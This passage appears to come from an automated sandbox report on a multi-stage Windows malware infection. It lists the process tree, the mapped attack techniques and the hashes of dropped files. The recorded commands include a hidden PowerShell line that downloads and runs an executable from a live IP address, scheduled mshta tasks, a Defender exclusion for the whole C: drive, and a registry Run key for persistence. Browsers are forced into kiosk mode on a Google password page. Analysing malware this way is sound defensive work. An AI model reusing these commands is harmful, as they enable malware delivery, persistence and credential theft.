        "C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3388
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5332
      - C:\Users\Admin\AppData\Local\Temp\10342650101\173e5fe50e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10342650101\173e5fe50e.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:2852
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn VTacjmaxjK6 /tr "mshta C:\Users\Admin\AppData\Local\Temp\nN83b7yIr.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        
        PID:1116
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn VTacjmaxjK6 /tr "mshta C:\Users\Admin\AppData\Local\Temp\nN83b7yIr.hta" /sc minute /mo 25 /ru "Admin" /f
        8⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4008
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\nN83b7yIr.hta
        7⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:1492
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'D8SCJBJCHX0K0TNUFHJAKMYO4OPJ9GVM.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4972
        
        C:\Users\Admin\AppData\Local\TempD8SCJBJCHX0K0TNUFHJAKMYO4OPJ9GVM.EXE
        
        "C:\Users\Admin\AppData\Local\TempD8SCJBJCHX0K0TNUFHJAKMYO4OPJ9GVM.EXE"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3668
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10342660121\am_no.cmd" "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1944
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2
        7⤵
        Delays execution with timeout.exe
        
        PID:1804
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3728
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2108
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6044
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5548
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5744
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:748
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SyZgcmaWVQU" /tr "mshta \"C:\Temp\sH7n4gKXV.hta\"" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3224
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta "C:\Temp\sH7n4gKXV.hta"
        7⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:2056
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2628
        
        C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1784
      - C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe"
        6⤵
        Executes dropped EXE
        
        PID:872
        
        C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5784
      - C:\Users\Admin\AppData\Local\Temp\10342910101\ruKazpr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10342910101\ruKazpr.exe"
        6⤵
        Executes dropped EXE
        
        PID:5136
        
        C:\Users\Admin\AppData\Local\Temp\10342910101\ruKazpr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10342910101\ruKazpr.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2284
      - C:\Users\Admin\AppData\Local\Temp\10342920101\BIm18E9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10342920101\BIm18E9.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2860
      - C:\Users\Admin\AppData\Local\Temp\10342930101\7IIl2eE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10342930101\7IIl2eE.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:4052
        
        C:\Windows\SysWOW64\CMD.exe
        
        "C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4316
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4132
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        8⤵
        
        PID:1676
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:224
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4172
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 418377
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:3112
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Leon.cab
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1188
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "BEVERAGES" Compilation
        8⤵
        
        PID:1864
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 418377\Passwords.com + Playing + New + Realized + Uw + Jpeg + Badly + Asbestos + Seeds + Service + Basis + Via 418377\Passwords.com
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:376
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Pendant.cab + ..\Visitor.cab + ..\Illegal.cab + ..\Suddenly.cab + ..\Theology.cab + ..\Kidney.cab + ..\Flying.cab + ..\Tigers.cab N
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5208
        
        C:\Users\Admin\AppData\Local\Temp\418377\Passwords.com
        
        Passwords.com N
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:4772
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5644
      - C:\Users\Admin\AppData\Local\Temp\10342940101\TbV75ZR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10342940101\TbV75ZR.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:5092
        
        C:\Windows\SysWOW64\CMD.exe
        
        "C:\Windows\system32\CMD.exe" /c copy Edit.vss Edit.vss.bat & Edit.vss.bat
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1560
      - C:\Users\Admin\AppData\Local\Temp\10342950101\f73ae_003.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10342950101\f73ae_003.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        
        PID:4836
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
        7⤵
        
        PID:4376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5220
        
        C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        7⤵
        Downloads MZ/PE file
        Adds Run key to start application
        
        PID:5292
        
        C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
        
        "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
        8⤵
        Sets service image path in registry
        Executes dropped EXE
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:2940
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Remove-MpPreference -ExclusionPath C:\
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6608
        
        C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
        8⤵
        Deletes itself
        Executes dropped EXE
        
        PID:5044
        
        C:\Users\Admin\AppData\Local\Temp\{97b3f9eb-079d-4264-a1d0-1eb34cc60358}\4ca06996.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{97b3f9eb-079d-4264-a1d0-1eb34cc60358}\4ca06996.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
        9⤵
        Executes dropped EXE
        Checks for VirtualBox DLLs, possible anti-VM trick
        System Location Discovery: System Language Discovery
        
        PID:9332
        
        C:\Users\Admin\AppData\Local\Temp\{21252b9a-b000-4534-9dc0-8496808db927}\6ff185f0.exe
        
        C:/Users/Admin/AppData/Local/Temp/{21252b9a-b000-4534-9dc0-8496808db927}/\6ff185f0.exe -accepteula -adinsilent -silent -processlevel 2 -postboot
        10⤵
        
        PID:7840
      - C:\Users\Admin\AppData\Local\Temp\10342960101\WLbfHbp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10342960101\WLbfHbp.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:4896
        
        C:\Windows\SysWOW64\CMD.exe
        
        "C:\Windows\system32\CMD.exe" /c copy Edit.vss Edit.vss.bat & Edit.vss.bat
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2160
      - C:\Users\Admin\AppData\Local\Temp\10342970101\dBSGwVB.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10342970101\dBSGwVB.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4904
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4976
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
        8⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:4412
        
        C:\Users\Public\Netstat\bild.exe
        
        C:\Users\Public\Netstat\bild.exe
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4936
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6200
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
        8⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:6244
        
        C:\Users\Public\Netstat\bild.exe
        
        C:\Users\Public\Netstat\bild.exe
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:4648
      - C:\Users\Admin\AppData\Local\Temp\10342980101\b2b813c1a0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10342980101\b2b813c1a0.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:6412
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:6504
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6520
      - C:\Users\Admin\AppData\Local\Temp\10342990101\kDveTWY.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10342990101\kDveTWY.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:6844
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6920
      - C:\Users\Admin\AppData\Local\Temp\10343000101\72f3f60b0e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10343000101\72f3f60b0e.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4480
      - C:\Users\Admin\AppData\Local\Temp\10343010101\d0357ec462.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10343010101\d0357ec462.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:7340
      - C:\Users\Admin\AppData\Local\Temp\10343020101\7baaaf4668.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10343020101\7baaaf4668.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:7940
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4492
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2108
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5708
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4732
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:8328
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        7⤵
        
        PID:8456
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        8⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:8480
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2012 -prefsLen 27099 -prefMapHandle 2016 -prefMapSize 270279 -ipcHandle 2092 -initialChannelId {8162bb7e-6b3e-4a28-ba7d-cb4aa0464713} -parentPid 8480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.8480" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        9⤵
        
        PID:8952
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2512 -prefsLen 27135 -prefMapHandle 2516 -prefMapSize 270279 -ipcHandle 2404 -initialChannelId {6d3db328-0019-45f7-8a00-2824e3a9c47b} -parentPid 8480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.8480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        9⤵
        
        PID:9100
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3932 -prefsLen 25213 -prefMapHandle 3936 -prefMapSize 270279 -jsInitHandle 3940 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3996 -initialChannelId {aa91cf21-464b-4249-b918-f3c75969bef1} -parentPid 8480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.8480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        9⤵
        
        PID:9524
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4212 -prefsLen 27325 -prefMapHandle 4216 -prefMapSize 270279 -ipcHandle 4300 -initialChannelId {21e38835-0206-4794-844e-e8c5913c5ba0} -parentPid 8480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.8480" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        9⤵
        
        PID:9596
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3188 -prefsLen 34824 -prefMapHandle 3048 -prefMapSize 270279 -jsInitHandle 3260 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4472 -initialChannelId {a92bd75e-50de-4b20-8005-7b81c29c58c0} -parentPid 8480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.8480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        9⤵
        
        PID:10152
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4912 -prefsLen 34905 -prefMapHandle 4972 -prefMapSize 270279 -ipcHandle 4980 -initialChannelId {7f75df12-eacc-4ec2-8aeb-a4e16c687893} -parentPid 8480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.8480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        9⤵
        
        PID:11924
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5284 -prefsLen 32952 -prefMapHandle 5288 -prefMapSize 270279 -jsInitHandle 5292 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5300 -initialChannelId {bed8b45b-f4d1-41d1-90b3-ce4014de68ce} -parentPid 8480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.8480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        9⤵
        
        PID:13124
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5324 -prefsLen 32952 -prefMapHandle 5328 -prefMapSize 270279 -jsInitHandle 5332 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5336 -initialChannelId {1f1aabb4-dd5f-4234-958b-1e6250c0b46c} -parentPid 8480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.8480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        9⤵
        
        PID:13140
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5692 -prefsLen 32952 -prefMapHandle 5696 -prefMapSize 270279 -jsInitHandle 5700 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5708 -initialChannelId {134a5663-6076-4386-9b8b-f17570772531} -parentPid 8480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.8480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        9⤵
        
        PID:6304
      - C:\Users\Admin\AppData\Local\Temp\10343030101\b91433b195.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10343030101\b91433b195.exe"
        6⤵
        
        PID:12444
      - C:\Users\Admin\AppData\Local\Temp\10343040101\f1d929adc6.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10343040101\f1d929adc6.exe"
        6⤵
        
        PID:9204

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5460

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5548

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
PID:9720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\KVRT2020_Data\Temp\7C924DD4D20055C80007791130E2D03F\klupd_49ef861ca_arkmon.sys

Filesize
390KB

MD5
7c924dd4d20055c80007791130e2d03f

SHA1
072f004ddcc8ddf12aba64e09d7ee0ce3030973e

SHA256
406ab7d6e45dbedcfbd2d7376a643620c7462cece3e41115c8fbc07861177ec6

SHA512
ab26005da50cbf1f45129834cb661b5b97aed5637d4ebc9821c8b744ff61c3f108f423ae5628602d99b3d859e184bfb23900797538dca2891186321d832ea806

Download Submit
C:\Temp\sH7n4gKXV.hta

Filesize
779B

MD5
39c8cd50176057af3728802964f92d49

SHA1
68fc10a10997d7ad00142fc0de393fe3500c8017

SHA256
f685edf8437c0b505f5e366d8b1cb79e7770361cc4906240e7f8c8ad32c94e84

SHA512
cf563b2b5a3553acf3a91298936b904abf87620c2fc582bcdb45dec5d4b877bef5ae81feae4b741e1aee1a916e543b5f6914d9c494d2aa33bc6f15c6fc904cc6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
25604a2821749d30ca35877a7669dff9

SHA1
49c624275363c7b6768452db6868f8100aa967be

SHA256
7f036b1837d205690b992027eb8b81939ba0228fc296d3f30039eeba00bd4476

SHA512
206d70af0b332208ace2565699f5b5da82b6a3806ffa51dd05f16ab568a887d63449da79bbaeb46183038837446a49515d62cb6615e5c5b27563cd5f774b93f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
b2ffaebd5d55157d941e68200001b040

SHA1
3662e541406a19741c10e46d58d4d6ade97e9787

SHA256
361c148803ec00f8ea91bdb8778ceb1ae3101e9cda063bb8a4d036478470ffd0

SHA512
233cc87d81aa03ac1b02c8225a53ab0fd315665c7521778bea7fcf93ccd1fae58417941e114255987ce324ddface2c244b67502beec7f838e18aac73c2f0c709

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
871cc6590d78ee19d1b5ec6ab5269a0e

SHA1
5a7dc9d4391edc97f7ec9aa18603523951e56cc4

SHA256
30e079fa680838825e8ce0d44409076137789b219a130cde8e1bdd8a96752262

SHA512
7f8211b10a88a247bdba41b10b7d08e2c491d69ed35c50196794ae36f475a86dfb5a73ee1225e4bcbfea42231efb1476c96602b14ecae87658550c03d99981d5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
df9a133df7c766fd3b49a2837c55e3d6

SHA1
584914011d3a2942db554c393efc6368c5349ea6

SHA256
